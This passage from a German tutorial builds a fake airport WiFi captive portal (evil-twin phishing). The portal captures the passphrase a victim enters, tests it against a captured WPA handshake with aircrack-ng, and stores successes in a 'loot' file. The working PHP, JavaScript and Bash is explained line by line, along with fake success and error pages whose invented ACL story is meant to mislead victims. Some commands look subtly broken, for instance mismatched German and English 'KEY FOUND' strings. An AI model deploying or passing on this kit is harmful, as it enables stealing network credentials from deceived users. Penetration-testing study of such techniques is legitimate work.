var xhr = new XMLHttpRequest(); - Hier definieren wir die Variable xhr, um eine neue XMLHttpRequest zu erstellen.
var url = "/captiveportal/index.php"; - Hier definieren wir eine weitere Variable url mit der URL, an die die Anfrage gesendet werden soll.
var params = "target=" + encodeURIComponent(targetValue); - Dann definieren wir eine weitere Variable "params", die den Wert als "target=" (unser Parameter, der benötigt wird, damit dies funktioniert) festlegt, und verwenden den Zusatz, um den targetValue mit der "encodeURIComponent" zu verketten, um sicherzustellen, dass die Anfrage richtig formatiert ist.
xhr.open("POST", url, true); - Wie in func.js initialisieren wir die Anfrage mit unserer "Methode" als "POST", der URL als Wert der url-Variablen, gefolgt von der asynchronen Einstellung.
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); - Wir setzen dann einen HTTP Request Header "Content-Type" mit dem MIME-Type "application/x-www-form-urlencoded".
xhr.onreadystatechange = function () { - Hier verwenden wir wie zuvor "onreadystatechange", um das Ereignis auszulösen, wenn sich der "readystatechange" ändert, starten wir dann eine neue Funktion.
if (xhr.readyState === 4 && xhr.status === 200) { - Genau wie zuvor verwendet diese if-Anweisung "readyState" mit einem Wert von "4" mit einer Logik UND, wenn der http-Antwortcode gleich 200 ist.
console.log(xhr.responseText); - Dies verwendet dann console.log, um die Ausgabe des responseTextes auf der Konsole zu protokollieren.
xhr.send(params); - Wir verwenden dann xhr.send, um die Anfrage mit dem Parameter "params" zu senden.
auth_success(destinationValue); - Schließlich führen wir die Funktion auth_success außerhalb der eigentlichen Funktion mit dem Wert des Parameters "destinationValue" aus. Dadurch wird die Anfrage mit dem Wert des Ziels an das unverschlüsselte Portal gesendet.
Als Nächstes fügen wir die Funktion auth_success genau zwischen dem "title"- und dem vorherigen "script"-Tag für func.js ein. Jetzt wird im Konsolenprotokoll die Meldung "Sie wurden nicht autorisiert" angezeigt, aber der Client wird von nun an tatsächlich autorisiert sein. Sie erhalten auch eine WebUI-Benachrichtigung, die jedoch etwas verzögert sein kann. Bei meinen Tests habe ich eine Verzögerung von etwa 7-10s festgestellt.
Wenn Sie die Benutzer nicht für die Nutzung des ICS (Internet Connection Sharing) autorisieren wollen, was keinen Internetzugang bedeutet, können Sie diese Funktion auch ganz weglassen. Sie können diese Funktion einfach ganz weglassen (nur die Script-Tags).
<script type="text/javascript" src="/func.js"></script> <script type="text/javascript"> var destinationValue = "<?php $destination; ?>"; function auth_success(targetValue) { var xhr = new XMLHttpRequest(); var url = "/captiveportal/index.php"; var params = "target=" + encodeURIComponent(targetValue); xhr.open("POST", url, true); xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { console.log(xhr.responseText); } }; xhr.send(params); } auth_success(destinationValue); // Aufruf von auth_success mit dem Ausgangswert </script> <title><?= $essid ?></title>
Als Nächstes wollen wir diesen Code durch ein neues Stück Code ersetzen, das ich weiter unten erklären werde:
<img src="airport-logo.png" class="img-fluid mb-3" style="max-width: 200; max-height: 100px; object-fit: contain;"> <h3 class="card-title text-center">Oops!</h3> <p class="text-center small">Es sieht so aus, als hätten Sie eine falsche Passphrase eingegeben, bitte versuchen Sie es erneut.</p> <button class="btn btn-orange btn-block text-white mt-5" onclick="GoBack()">Zurück</button> <p class="text-left small text-muted mt-4 d-flex justify-content-between align-items-center"> STATUS: ERR_FAILED_AUTH <p class="text-left small text-muted d-flex justify-content-between align-items-center"> Client MAC: <?=getClientMac($_SERVER['REMOTE_ADDR']);?> <a href="#" class="popover-link" data-container="body" data-html="true" data-toggle="popover" data-placement="top" data-content="Dies ist aufgrund der auf dem drahtlosen Zugangspunkt implementierten Zugriffskontrollliste (ACL) geschehen. In diesem Fall müssen sich die Geräte neu authentifizieren, was zu einer Abfrage der ACL des Access Points führt. Wenn Ihr Gerät berechtigt ist, auf dieses Netzwerk zuzugreifen, wird die MAC Ihres Geräts nach einer erneuten Authentifizierung über das integrierte Captive Portal des Wireless Access Points zugelassen. Deshalb sehen Sie diese Meldung." title="ERR_FAILED_AUTH" data-trigger="focus" tabindex="0">Warum ist das passiert?</a> </p>
Nun habe ich hier etwas hinzugefügt, das ich für Sie aufschlüsseln möchte, und zwar die Anzeige der ACLAllow-Meldung, wenn der Wert der Checkbox wahr ist. Dies geschieht innerhalb eines PHP-Codeblocks.
if (isset($ACLMessage)) { - Dies verwendet eine if-Anweisung, um zu prüfen, ob die Variable ACLMessage gesetzt ist, wenn ja, fahren Sie fort.
echo '<p class="text-left small text-muted d-flex justify-content-between align-items-center">' . $ACLMessage . '</p>'; - Dies verwendet echo, um ein HTML-Absatzelement auszugeben , das den Wert von ACLMessage verkettet. Wenn Sie sich erinnern, wird "Added: CLIENT-MAC to ACL Allowed List." angezeigt.
Ersetzen Sie es durch den folgenden Code:
<h3 class="card-title text-center">Korrekte Passphrase!</h3> <p class="text-center small">Die von Ihnen eingegebene Passphrase stimmt mit der des Wireless Access Point überein. Keine Sorge, die Verbindung wird automatisch wiederhergestellt.</p> <p class="text-center small">Sie können diese Seite nun schließen und wie gewohnt fortfahren.</p> <p class="text-left small text-muted mt-4 d-flex justify-content-between align-items-center"> STATUS: INFO_AUTH_SUCCESS </p> <?php if (isset($ACLMessage)) { echo '<p class="text-left small text-muted d-flex justify-content-between align-items-center">' . $ACLMessage . '</p>'; } ?>
Correct.php Ergebnis:
Sie sollten nun eine correct.php Seite haben, die wie folgt aussieht:
<?php $destination = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . ""; require_once('helper.php'); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Pragma: no-cache"); header("Expires: 0"); $essid = "Airport WiFi 6"; $rueayFilePath = '/tmp/airport_rueay.txt'; $aclAllowFilePath = '/tmp/airport_aclallow.txt'; // Prüfen, ob true in der Datei airport_rueay.txt gefunden wird und der Referer check.php ist if ( file_exists($rueayFilePath) && strpos(file_get_contents($rueayFilePath), 'true') !== false && isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], '/checking.php') !== false ) { // Mit dem normalen Verhalten fortfahren // Prüfen, ob true in der Datei gefunden wird und Meldung generieren if ( file_exists($aclAllowFilePath) && strpos(file_get_contents($aclAllowFilePath), 'true') !== false ) { $ACLMessage = 'Hinzugefügt: ' . getClientMac($_SERVER['REMOTE_ADDR']) . ' to ACL Allowed List.'; } } else { // Weiterleitung zu checking.php, wenn die Bedingungen nicht erfüllt sind header("Location: /checking.php"); exit(); } ?> <!DOCTYPE html> <html lang="de"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="/css/bootstrap-4.3.1.min.css"> <script type="text/javascript" src="/js/jquery-3.7.1.min.js"></script> <script type="text/javascript" src="/js/bootstrap.bundle.min.js"></script> <link rel="stylesheet" href="/de/style.css"> <script type="text/javascript" src="/func.js"></script> <script type="text/javascript"> var destinationValue = "<?php $destination; ?>"; function auth_success(targetValue) { var xhr = new XMLHttpRequest(); var url = "/captiveportal/index.php"; var params = "target=" + encodeURIComponent(targetValue); xhr.open("POST", url, true); xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { console.log(xhr.responseText); } }; xhr.send(params); } auth_success(destinationValue); // Aufruf von auth_success mit dem Ausgangswert </script> <title><?= $essid ?></title> </head> <body> <div class="container mt-5"> <div class="form-row justify-content-center"> <div class="col-md-6"> <div class="card rounded-lg border-light shadow"> <div class="card-body text-center"> <h3 class="card-title text-center">Korrekte Passphrase!</h3> <p class="text-center small">Die von Ihnen eingegebene Passphrase stimmt mit der des Wireless Access Point überein. Keine Sorge, die Verbindung wird automatisch wiederhergestellt.</p> <p class="text-center small">Sie können diese Seite nun schließen und wie gewohnt fortfahren.</p> <p class="text-left small text-muted mt-4 d-flex justify-content-between align-items-center"> STATUS: INFO_AUTH_SUCCESS </p> <?php if (isset($ACLMessage)) { echo '<p class="text-left small text-muted d-flex justify-content-between align-items-center">' . $ACLMessage . '</p>'; } ?> </div> </div> </div> </div> </div> </body> </html>
run_test.php erstellen
Wie immer möchte ich, dass die Seiten so gut wie möglich nicht im Cache gespeichert werden, so dass wir bei einer Änderung des Inhalts mit der neuesten Seite bedient werden. Sie können auch Cache-Busting verwenden, um sicherzustellen, dass Sie bei der Erstellung/Testung die neueste Version erhalten.
Ich werde den Code wieder Zeile für Zeile aufschlüsseln:
<?php - Der Anfang unseres php-Codes.
// run_test.php - Dies ist nur ein Kommentar in PHP-Skripten.
header("Cache-Control: no-store, no-cache, must-revalidate"); - Hier setzen wir den Cache-Control-Header wieder so, wie wir es in unserem vorherigen Code getan haben, mit den Direktiven no-store, no-cache und must-revalidate.
header("Pragma: no-cache"); - Wie zuvor setzen wir den Pragma-Header mit der Direktive no-cache für ältere HTTP/1.0-Caches.
header("Expires: 0"); - Wie zuvor setzen wir dann den Expires-Header mit 0, was bedeutet, dass der Inhalt bereits abgelaufen ist.
<?php // run_test.php // Cache-Kontroll-Header setzen header("Cache-Control: no-store, no-cache, must-revalidate"); header("Pragma: no-cache"); header("Expires: 0");
if (isset($_POST['password'])){ - Hier verwenden wir die if-Anweisung mit isset, um zu prüfen, ob die POST-Anfrage den Parameter password enthält und nicht null ist.
$password = $_POST['password']; - Dies erstellt eine neue Variable namens password und gibt den Wert der POST-Anfrage als Wert der password-Variablen zurück.
$filePath = '/tmp/airport_attempt_tmp.txt'; - Wir definieren dann eine neue Variable filePath, die auf unsere Versuchsdatei zeigt.
file_put_contents($filePath, $password . PHP_EOL, LOCK_EX); - Wir benutzen "file_put_contents", um in "filePath" mit dem Wert von "password" zu schreiben und dann "." mit PHP_EOL mit LOCK_EX zu verketten, was die Datei während des Schreibens exklusiv sperrt.
$command = 'bash auther.sh'; - Dann setzen wir eine neue Variable "command", die zur Ausführung unseres Bash-Skripts verwendet wird, um den aircrack-Befehl mit einigen zusätzlichen Prüfungen auszuführen.
$descriptors = [ - Wir definieren dann eine neue Variable "descriptors".
0 => ['pipe', 'r'], // stdin - Hier richten wir die Dateideskriptoren für proc_open ein, indem wir einen Operator verwenden, um eine "pipe" für den Kindprozess zu erstellen, und wir verwenden "r", um das Leseende der pipe an process zu übergeben.
1 => ['pipe', 'w'], // stdout - Ähnlich wie oben, machen wir das Gleiche für die Standardausgabe.
2 => ['pipe', 'w'], // stderr - Ähnlich wie oben machen wir das Gleiche für den Standardfehler.
// Das Passwort aus dem Formular holen if (isset($_POST['password'])) { $password = $_POST['password']; // Ersetzen Sie den Inhalt der Datei durch das neue Passwort $filePath = '/tmp/airport_attempt_tmp.txt'; file_put_contents($filePath, $password . PHP_EOL, LOCK_EX); // LOCK_EX sorgt für exklusives Sperren // Befehl zum Ausführen Ihres lokalen Bash-Skripts $command = 'bash auther.sh'; // Geben Sie die Pipes für stdin, stdout und stderr an $descriptors = [ 0 => ['pipe', 'r'], // stdin 1 => ['pipe', 'w'], // stdout 2 => ['pipe', 'w'], // stderr ];
$process = proc_open($command, $descriptors, $pipes); - Hier definieren wir eine neue Variable "process" und verwenden proc_open mit dem "Befehl", den wir ausführen wollen. Die Deskriptoren (descriptor_spec), die wir mit den "pipes" definiert haben, bedeuten, dass diese auf ein indiziertes Array von Dateizeigern (die Deskriptoren) gesetzt werden.
if (is_resource($process)) { - Wir verwenden dann is_resource, um zu prüfen, ob eine Variable eine Ressource ist. Das bedeutet, dass geprüft wird, ob die Variable process erfolgreich geöffnet wurde.
fclose($pipes[0]); - Dann verwenden wir fclose, um den Dateizeiger für 0 (stdin) zu schließen, da keine Eingabe verwendet wird.
$output = stream_get_contents($pipes[1]); - Wir verwenden stream_get_contents, um den Rest eines Streams in einen String für den Pipe-Stream 1 (stdout) zu lesen.
fclose($pipes[1]); - Anschließend schließen wir die verbleibende Standardausgabe der Pipes.
fclose($pipes[2]); - Anschließend schließen wir die Standardfehler-Pipe.
$returnValue = proc_close($process); - Wir definieren dann eine neue Variable returnValue, die dann proc_close benutzt, um den Prozess zu schließen und den Exit-Code dieses Prozesses an die Variable zurückzugeben.
echo " "; - Wir geben hier eine leere Zeile ein, um sicherzustellen, dass keine Ausgabe im Konsolenprotokoll erfolgt. Diese erste echo-Anweisung dient dazu, eine erfolgreiche Antwort des Skripts anzuzeigen.
} else { - Diese else-Anweisung bedeutet, wenn die erste Bedingung falsch ist, dass der Prozess nicht geöffnet werden konnte.
echo " "; - Hier verwenden wir ein weiteres echo, um eine Meldung anzuzeigen, wenn der Prozess nicht geöffnet werden konnte. Auch dies wird leer gelassen (ich habe ein einzelnes Leerzeichen verwendet, um dies später in der run_test-Funktion zu kürzen, um sicherzustellen, dass keine tatsächliche Ausgabe erfolgt, einschließlich "empty string".
} else { - Diese else-Anweisung wird ausgelöst, wenn kein Kennwort im Formularkörper gefunden wurde.
echo " "; - Die Echo-Meldung, die wir verwenden könnten, um eine Meldung auf der Konsole anzuzeigen, wenn das Kennwort in der Formularanforderung nicht gefunden wurde.
?> - Dies ist der schließende Tag eines PHP-Codeblocks.
// Öffnen des Prozesses $process = proc_open($command, $descriptors, $pipes); if (is_resource($process)) { // Schließen von stdin (keine Eingabe) fclose($pipes[0]); // Lesen der Ausgabe des Prozesses $output = stream_get_contents($pipes[1]); // Schließen der Pipes fclose($pipes[1]);
fclose($pipes[2]); // Schließen des Prozesses $returnValue = proc_close($process); // Anzeige einer Antwortmeldung echo " "; } else { // Prozess konnte nicht geöffnet werden echo " "; } } else { // Passwort nicht vom Formular erhalten echo " "; } ?>
run_test.php Ergebnis:
Hier ist die endgültige Ausgabe von runTest.php
<?php // run_test.php // Cache-Kontroll-Header setzen header("Cache-Control: no-store, no-cache, must-revalidate"); header("Pragma: no-cache"); header("Expires: 0"); // Das Passwort aus dem Formular holen if (isset($_POST['password'])) { $password = $_POST['password']; // Ersetzen Sie den Inhalt der Datei durch das neue Passwort $filePath = '/tmp/airport_attempt_tmp.txt'; file_put_contents($filePath, $password . PHP_EOL, LOCK_EX); // LOCK_EX gewährleistet exklusives Sperren // Befehl zum Ausführen Ihres lokalen Bash-Skripts $command = 'bash auther.sh'; // Geben Sie die Pipes für stdin, stdout und stderr an $descriptors = [ 0 => ['pipe', 'r'], // stdin 1 => ['pipe', 'w'], // stdout 2 => ['pipe', 'w'], // stderr ]; // Den Prozess öffnen $process = proc_open($command, $descriptors, $pipes); if (is_resource($process)) { // stdin schließen (keine Eingabe) fclose($pipes[0]);
// Lesen der Ausgabe des Prozesses $output = stream_get_contents($pipes[1]); // Schließen der Pipes fclose($pipes[1]); fclose($pipes[2]); // Schließen des Prozesses $returnValue = proc_close($process); // Anzeige einer Antwortmeldung echo " "; } else { // Prozess konnte nicht geöffnet werden echo " "; } } else { // Passwort nicht vom Formular erhalten echo " "; } ?>
auther.sh erstellen
Dies ist das Skript, das für das Knacken und Entfernen von ANSI Escape-Sequenzen verantwortlich ist, die aircrack auszugeben scheint, wenn man den Umleitungsoperator > verwendet .
Ich werde auch hier aufschlüsseln, was vor sich geht:
#!/bin/bash - Dies wird Shebang genannt und verweist im Wesentlichen auf den Interpreter, den wir verwenden wollen, wenn wir das Skript ausführen (in unserem Fall wollen wir bash verwenden, was Borne Again Shell bedeutet).
BSSID= - Dies ist eine Bash-Variable, mit der wir unsere Ziel-"BSSID" festlegen, die in den aircrack-Befehl eingegeben wird.
CAP_LOC="/root/demo.cap" - Wir definieren dann eine neue Variable "CAP_LOC" für die airodump-ng Handshake Capture Datei.
TEMP_ATTEMPT="/tmp/airport_attempt_tmp.txt" - Hier definieren wir eine neue Variable "TEMP_ATTEMPT", die den Pfad zu unserer Versuchsdatei enthält, in der das aktuell eingegebene Passwort des Benutzers gespeichert und an aircrack übergeben wird.
TEMP_CREDS="/tmp/airport_creds_tmp.txt" - Hier definieren wir eine weitere Variable "TEMP_CREDS", die verwendet wird, um das korrekte Passwort auszugeben, falls das Passwort erfolgreich geknackt wird.
LOOT_FILE="/root/airport_loot.txt" - Hier definieren wir eine weitere Variable "LOOT_FILE", in die das geknackte Passwort verschoben werden soll, damit es nicht überschrieben wird, wenn der Benutzer zurückklickt und ein neues, aber falsches Passwort eingibt.
#!/bin/bash BSSID="00:1E:2A:BE:EF:00" # Passen Sie dies an Ihr Ziel an CAP_LOC="/root/demo.cap" # zeigen Sie auf Ihre Cap-Datei TEMP_ATTEMPT="/tmp/airport_attempt_tmp.txt" # Eingabewortliste TEMP_CREDS="/tmp/airport_creds_tmp.txt" # tmp Beutedatei, damit die Beute nicht überschrieben wird LOOT_FILE="/root/airport_loot.txt" # Beutedatei mit geknacktem Passwort
Als Nächstes werde ich aufschlüsseln, was mit dem aircrack-Befehl hier passiert, damit du das Ganze ein wenig besser verstehen kannst.
aircrack-ng -a 2 -b ${BSSID} -w "${TEMP_ATTEMPT}""${CAP_LOC}" - Hier führen wir aircrack mit der Option -a 2 aus, was bedeutet, dass wir eine WPA-PSK Passphrase knacken. Mit -b ${BSSID} geben wir die BSSID an, die wir knacken wollen, und übergeben den Wert unserer Variablen. Dann verwenden wir das Flag -w, das die zu verwendende Wortliste mit den Werten "${TEMP_ATTEMPT}" "${CAP_LOC}", die auf unsere Variablen verweisen, die die Versuchsdatei und den Aufnahmeort enthalten.
| - Dies wird als Pipeline bezeichnet und ermöglicht es uns, das Ergebnis des ersten Befehls an einen anderen Befehl weiterzugeben. In unserem Fall geben wir das Ergebnis des aircrack-Befehls an grep weiter.
grep -m 1 "SCHLÜSSEL GEFUNDEN!" |Wir verwenden grep, um das erste Vorkommen von "-m 1" mit dem folgenden Wort "KEY FOUND!" zu finden und zu stoppen, das, wenn der Crack erfolgreich war, in der Ausgabedatei stehen wird. Anschließend leiten wir die Ausgabe des grep-Befehls weiter.
sed -E "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})*)?[mGKFH]//g" > "${TEMP_CREDS}" - Hier verwenden wir sed mit dem Flag "-E" für einen regulären Ausdruck.
Jetzt werde ich diesen Regex aufschlüsseln:
s/ - Dies zeigt eine Such- und Ersetzungsoperation in sed an.
\x1B - Dies entspricht einem ANSI-Escape-Code in hexadezimaler Form.
\[ - Dies entspricht der Zeichenkette "[".
(..)? - Damit wird eine Gruppe von Mustern zusammengefügt.
[0-9]{1,2} - Entspricht einer oder zwei Ziffern.
(;[0-9]{1,2})* - Entspricht null oder mehr Vorkommen eines Semikolons gefolgt von ein bis zwei Ziffern.
[mGKFH] - Entspricht einem einzelnen Zeichen aus dem hier angegebenen Zeichensatz (mGKFH).
// - Dies ist ein Trennzeichen, das verwendet wird, um Komponenten des sed-Ersetzungsbefehls zu trennen.
g - Diese Flagge steht für global, was send anweist, die Ersetzung in jeder Zeile des Eingabetextes durchzuführen. (In unserem Fall eine einzelne Zeile).
Zusammen entfernt dies perfekt die unerwünschten ANSI-Zeichen aus der KEY FOUND-Ausgabe und sorgt so für eine sauberere und besser lesbare Ausgabe.
Der letzte Teil des sed-Befehls:
> "${TEMP_CREDS}" - Verwendet den redirect-Operator, um den Inhalt der Datei "TEMP_CREDS" mit den Ergebnissen des sed-Befehls zu überschreiben.
# Führt aircrack-ng aus und speichert das Ergebnis in der temporären Datei aircrack-ng -a 2 -b ${BSSID} -w "${TEMP_ATTEMPT}" "${CAP_LOC}" | grep -m 1 "SCHLÜSSEL GEFUNDEN!" | sed -E "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})*)?[mGKFH]//g" > "${TEMP_CREDS}"
if grep -q "SCHLÜSSEL GEFUNDEN!""${TEMP_CREDS}"; then - Wir verwenden dann eine if-Anweisung mit dem Flag "grep -q", was soviel bedeutet wie "still" oder "nicht in die Standardausgabe schreiben". Es wird nach den Worten "KEY FOUND!" in der Datei /tmp/airport_creds_tmp.txt gesucht, und wenn dies gefunden wird, geht es weiter.
cp "${TEMP_CREDS}""${LOOT_FILE}" - Wenn die obige Anweisung wahr ist, wird die geknackte Passwortdatei zur sicheren Aufbewahrung nach /root/airport_loot.txt kopiert.
else - Hier verwenden wir eine else-Anweisung, d.h. wenn die obige Anweisung falsch ist, führen wir den folgenden Befehl aus.
exit 1 - In unserem Fall werden wir das Skript einfach mit dem Statuscode 1 beenden, was einen Fehler oder einen Misserfolg anzeigen würde.
fi - Damit beenden wir die if-Anweisung.
# Prüfen Sie, ob das Passwort korrekt ist if grep -q "KEY FOUND!" "${TEMP_CREDS}"; then cp "${TEMP_CREDS}" "${LOOT_FILE}" # Kopiere die temporäre Datei an den endgültigen Speicherort else exit 1 # Mache nichts weiter, wenn das Passwort nicht gefunden wird. fi
Wir sollten dann eine Datei haben, die so aussieht wie das folgende Ergebnis.
auther.sh Ergebnis:
#!/bin/bash BSSID="00:1E:2A:BE:EF:00" # Passen Sie dies an Ihr Ziel an CAP_LOC="/root/demo.cap" # Zeigen Sie auf Ihre Cap-Datei TEMP_ATTEMPT="/tmp/airport_attempt_tmp.txt" # Wortliste eingeben TEMP_CREDS="/tmp/airport_creds_tmp.txt" # tmp Beutedatei, um zu verhindern, dass Beute überschrieben wird LOOT_FILE="/root/airport_loot.txt" # Beutedatei mit geknacktem Passwort # aircrack-ng ausführen und das Ergebnis in der temporären Datei speichern aircrack-ng -a 2 -b ${BSSID} -w "${TEMP_ATTEMPT}" "${CAP_LOC}" | grep -m 1 "SCHLÜSSEL GEFUNDEN!" | sed -E "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})*)?[mGKFH]//g" > "${TEMP_CREDS}" # Prüfen, ob das Passwort korrekt ist, wenn grep -q "KEY FOUND!" "${TEMP_CREDS}"; dann cp "${TEMP_CREDS}" "${LOOT_FILE}" # Kopiere die temporäre Datei an den endgültigen Speicherort else exit 1 # Mache nichts weiter, wenn das Passwort nicht gefunden wird. fi
HINWEIS: Es ist unbedingt erforderlich, dass Sie die "BSSID" in diesem Skript in die BSSID Ihres Ziels ändern, da aircrack nach dieser in der .cap-Datei suchen wird.
Den "CAP_LOC" können wir vorerst ignorieren, aber merken Sie sich das, denn wir müssen den Speicherort wieder ändern , wenn Sie die Datei an anderer Stelle gespeichert haben oder ihr einen anderen Namen geben.
Checking.php erstellen
Hier werden wir die checking.php erstellen. Diese ist für drei Dinge verantwortlich:
- Prüfen, ob die Datei creds existiert.
- Prüfen des Wertes von rueay.
- Prüfen des Wertes von aclallow.
Wie zuvor werden wir die Vorgänge aufschlüsseln:
<?php - Wie zuvor beginnen wir unseren PHP-Codeblock.
header("Cache-Control: no-store, no-cache, must-revalidate"); - Ähnlich wie zuvor setzen wir die Cache-Control-Header.
header("Pragma: no-cache"); - Hier setzen wir den Pragma-Header für ältere Caches.
header("Expires: 0"); - Hier setzen wir den Expires-Header mit einem Wert von 0.
$filePath = '/tmp/airport_creds_tmp.txt'; - Dann definieren wir eine neue Variable filePath mit dem Wert als Pfad für unsere Creds-Dateien.
$rueayPath = '/tmp/airport_rueay.txt'; - Ähnlich wie oben setzen wir den Pfad für die Variable rueayPath.
$aclAllowPath = '/tmp/airport_aclallow.txt'; - Hier definieren wir die Variable aclAllowPath, die auf die Datei airport_aclallow.txt verweist, die den Wert "true" enthält, wenn der Benutzer das Kontrollkästchen in default.php aktiviert hat.
if (file_exists($filePath)) { - Wir verwenden dann eine if-Anweisung mit file_exists, um zu prüfen, ob die Datei filePath existiert.
$fileHandle = fopen($filePath, 'r'); - Wenn die obige Anweisung wahr ist, definieren wir eine neue Variable fileHandle, die fopen verwendet, um den "filePath" mit dem Modus 'r' zu öffnen, was bedeutet, dass er nur zum Lesen geöffnet ist.
if ($fileHandle !== false) { - Wir führen dann eine nachfolgende if-Anweisung aus, um zu prüfen, ob der Wert von "fileHandle" (unsere geöffnete Datei) nicht gleich false ist; wenn ja, führen wir den folgenden Code aus.
echo '<div style="text-align: center; margin-top: 20vh; font-size: 30px;">AUTHORIZING, PLEASE WAIT...</div>'; - Wenn die obige Anweisung nicht gleich false ist, dann "echo" wir ein "div"-Element auf der Seite mit den Stilen text-align:, center;, margin-top: 20vh;, und font-size: 30px mit der Nachricht "Authorizing, Please Wait".
<?php // Cache-Kontroll-Header setzen header("Cache-Control: no-store, no-cache, must-revalidate"); header("Pragma: no-cache"); header("Expires: 0"); $filePath = '/tmp/airport_creds_tmp.txt'; $rueayPath = '/tmp/airport_rueay.txt'; $aclAllowPath = '/tmp/airport_aclallow.txt'; // Prüfen, ob die Datei existiert if (file_exists($filePath)) { // Versuch, die Datei zu öffnen $fileHandle = fopen($filePath, 'r'); if ($fileHandle !== false) { // Anzeige "AUTHORIZING, PLEASE WAIT..." in der Mitte des Bildschirms echo '<div style="text-align: center; margin-top: 20vh; font-size: 30px;">AUTHORIZING, PLEASE WAIT...</div>';
$ACLAllowTrue = isset($_GET['ACLAllow']) && $_GET['ACLAllow'] == '1'; - Anschließend definieren wir eine neue Variable ACLAllowTrue, die mit Hilfe von isset prüft, ob die gestellte GET-Anfrage den URL-Parameter "ACLAllow" enthält, und dann, ob der Parameter streng genommen gleich 1 ist, und fahren fort.
if ($ACLAllowTrue) { - Mit einer weiteren if-Anweisung wird geprüft, ob ACLAllowTrue einen wahren Wert hat, und wenn ja, wird fortgefahren.
file_put_contents($aclAllowPath, "true\n"); - Wenn die obige if-Anweisung wahr ist, verwenden wir file_put_contents, um den Dateipfad auszuwählen, in den geschrieben werden soll, der aclAllowPath ist, und schreiben den Inhalt "true" mit einem Zeilenumbruch in die Datei.
} else { - Hier ist die else-Anweisung für den Fall, dass die obige Anweisung falsch ist.
file_put_contents($aclAllowPath, ''); - Wenn die obige Anweisung falsch ist, machen wir das Gleiche, außer dass wir keine Daten in die Datei schreiben.
while (($line = fgets($fileHandle)) !== false) { - Wir verwenden dann eine while-Schleife und setzen darin eine Variable namens "line", die fgets verwendet, um eine Zeile aus der Ressource "fileHandle" zu holen, die geöffnet ist.
if (preg_match('/KEY\s*FOUND/', $line, $matches)) { - Dann verwenden wir eine weitere if-Anweisung, die preg_match verwendet, um eine Regex-Suche nach /KEY\s*FOUND/ im Betreff "line" durchzuführen, die dann in "matches" gespeichert wird, das mit den Ergebnissen der preg_match-Suche gefüllt wird.
file_put_contents($rueayPath, "true\n"); - Wir verwenden dann, genau wie oben, file_put_contents, um den Inhalt von true\n in die Datei unter reuayPath zu schreiben.
echo '<script>'; - Wir beginnen dann mit der Ausgabe eines JavaScript-Schnipsels, um die Umleitung zu behandeln.
echo 'setTimeout(function() {'; - Hier geben wir die setTimeout-Funktion aus.
echo ' window.location.href="/de/correct.php";'; - Hier verwenden wir window.location.href, um den Benutzer auf /correct.php umzuleiten (denn wenn alle oben genannten Bedingungen erfüllt sind, sollte der Benutzer die Seite correct.php besuchen dürfen).
echo '}, 1000);'; - Wir geben dann den Timer für das Skript ein.
echo '</script>'; - Anschließend wird der verbleibende schließende Skript-Tag ausgegeben.
fclose($fileHandle); - Wir verwenden fclose, um den Dateizeiger "fileHandle" zu schließen.
exit(); - Nach der Umleitung wird das aktuelle Skript beendet.
// Prüfen, ob ACLAllow aktiviert ist $ACLAllowTrue = isset($_GET['ACLAllow']) && $_GET['ACLAllow'] == '1'; if ($ACLAllowTrue) { // Schreibe "true" in eine neue Datei file_put_contents($aclAllowPath, "true\n");
} else { // Wenn ACLAllow nicht aktiviert ist, überschreibe die Datei mit einem leeren String file_put_contents($aclAllowPath, ''); } // Versuche, die Datei zeilenweise zu lesen while (($line = fgets($fileHandle)) !== false) { // Eine freizügigere Regex verwenden, um "KEY FOUND!" zu erfassen und den Rest zu ignorieren if (preg_match('/KEY\s*FOUND/', $line, $matches)) { file_put_contents($rueayPath, "true\n"); echo '<script>'; echo 'setTimeout(function() {'; echo ' window.location.href="/de/correct.php";'; echo '}, 1000);'; // 1000 Millisekunden (1 Sekunde) Verzögerung echo '</script>'; fclose($fileHandle); exit(); // Beenden des Skripts nach der Umleitung } }
fclose($fileHandle); - Hier schließen wir den Dateizeiger wieder, wenn die while-Schleife gleich false ist.
file_put_contents($rueayPath, "false\n"); - Wir verwenden dann file_put_contents, um false\n in den "rueauPath" zu schreiben. Dies bedeutet, dass ein falsches Passwort eingegeben wurde und der Benutzer nicht berechtigt ist, correct.php anzusehen.
echo '<script>'; - Wir wollen dann, genau wie oben, das gleiche Skript ausgeben, aber die Seite anpassen, die der Benutzer besuchen soll. In unserem Fall, wenn die while-Schleife gleich false ist, schicken wir den Benutzer auf die Seite incorrect.php.
echo 'setTimeout(function() {'; - Wiederum wird die Funktion setTimeout ausgegeben.
echo ' window.location.href="/de/inkorrekt.php";'; - Genau wie zuvor echoten wir die window.location.href mit der Seite /inkorrekt.php.
echo '}, 1000);'; - Hier echoen wir den Timer.
echo '</script>'; - Und zum Schluss wird der schließende Tag des Skripts mit echo ausgegeben.
} else { - Dann verwenden wir die else-Anweisung, so dass wir, wenn fileHandle gleich false ist, einige Fehlermeldungen anzeigen.
echo 'Fehler beim Öffnen der Datei: ' . $filePath; - Wir geben eine Fehlermeldung für das Öffnen der Datei mit dem verketteten Wert von filePath aus, wenn die if-Anweisung für fileHandle tatsächlich gleich false ist.
} else { - Wir verwenden dann eine weitere else-Anweisung für den Fall, dass die Datei überhaupt nicht gefunden wird.
echo 'File not found: ' . $filePath; - Hier wird echo 'File not found' ausgegeben, wenn die Datei nicht mit dem verketteten Wert von "filePath" gefunden werden kann.
